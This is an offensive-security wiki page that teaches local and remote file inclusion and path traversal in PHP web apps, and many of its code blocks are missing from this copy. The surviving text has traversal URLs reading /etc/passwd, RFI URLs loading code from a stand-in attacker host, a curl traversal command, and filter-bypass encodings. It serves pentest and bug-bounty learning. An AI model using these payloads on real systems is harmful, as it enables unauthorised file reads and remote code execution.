Ctrlk
Infiltr8ForumGitHub
For the complete documentation index, see llms.txt. This page is also available as Markdown.

File Inclusion & Path Traversal

Theory

File Inclusion refers to a vulnerability in web applications where an attacker can manipulate input parameters to include local or remote files on the application's running code. Path traversal (directory traversal) refers to a vulnerability where an attacker manipulate input parameters to obtain the contents of a file outside of the web server's web root.

While directory traversal only allows us to access sensitive files stored on the server, such as configuration files, SSH keys, using a file inclusion, we may be able to execute local or remote files.

There are two types of file inclusion vulnerability:

  • Remote File Inclusion (RFI): The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include).

  • Local File Inclusion (LFI): The sever loads a local file.

#Here is a very simple example of an LFI:
http://example.com/index.php?page=../../../etc/passwd

#Here is a very simple example of an RFI:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Practice

In PHP, functions vulnerable to LFI are: require, require_once, include, include_once

When using curl for LFI/RFI/Path Traversal testing, we should use the --path-as-is argument to prevent curl from editing our request

curl 'http://10.10.10.8/../../../../etc/passwd' --path-as-is

Tools

Here are some handy one-liners to automate LFI scans on domains or urls using tools like gau, hakrawler, waybackurls, katana, uro, qsreplace, httpx, Gospider.

It may be usefull for bug bounty hunting

domains.txt -> text file containing domain names (ex: test.domain.com)

urls.txt -> text file containing URLs (ex: http://test.domain.com)

Basic LFI

You might be able to use nested traversal sequences, such as ....// or ....\/, which will revert to simple traversal sequences when the inner sequence is stripped.

In some contexts, such as in a URL path or the filename parameter of a multipart/form-data request, web servers may strip any directory traversal sequences before passing your input to the application. You can sometimes bypass this kind of sanitization by URL encoding, or even double URL encoding, the ../ characters, resulting in %2e%2e%2f or %252e%252e%252f respectively. Various non-standard encodings, such as ..%c0%af or ..%ef%bc%8f, may also do the trick.

Maybe the back-end is checking the folder path:

Depending on the applicative code / allowed characters, it might be possible to recursively explore the file system by discovering folders and not just files.

  1. identify the "depth" of you current directory by succesfully retrieving /etc/passwd (if on Linux):

  1. try and guess the name of a folder in the current directory by adding the folder name (here, private), and then going back to /etc/passwd:

  1. if the application is vulnerable, there might be two different outcomes to the request: an error / no output, the private folder does not exist at this location; if you get the content from /etc/passwd, you validated that there is indeed a privatefolder in your current directory

We can weaponize this process using ffuf and sed:

You may use a wordlist to fuzz parameters and check if they are vulnerable to LFI :

LFI filter evasion

Bypass the append more chars at the end of the provided string (bypass of: $_GET['param']."php")

Bypass the append of more chars at the end of the provided string (bypass of: $_GET['param']."php")

In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.

Here are some payload that may evade filters

LFI / RFI using PHP filters

Using string filters, we can processe all stream data through the specified function

Like the string.* filters, the convert.* filters perform conversion actions similar to their names.

The Compression Wrappers provide a way of creating gzip and bz2 compatible files on the local filesystem.

LFI / RFI using PHP protocols & wrappers

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

Check more possible supported protocols here

  • php://memory and php://temp — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)

  • file:// — Accessing local filesystem

  • http:// — Accessing HTTP(s) URLs

  • ftp:// — Accessing FTP(s) URLs

  • zlib:// — Compression Streams

  • glob:// — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)

  • ssh2:// — Secure Shell 2

  • ogg:// — Audio streams (Not useful to read arbitrary files)

Find more PHP wrappers on this page:

PHP Wrappers

LFI using PHP's assert

If you encounter a difficult LFI that appears to be filtering traversal strings such as ".." and responding with something along the lines of "Hacking attempt" or "Nice try!", an 'assert' injection payload may work.

For example, with following code is vulnerable assuming that the $file parameter is vulnerable to LFI

The following payload may work (be sure to URL-encode payloads before you send them):

References

https://book.hacktricks.xyz/pentesting-web/file-inclusionbook.hacktricks.xyz

Last updated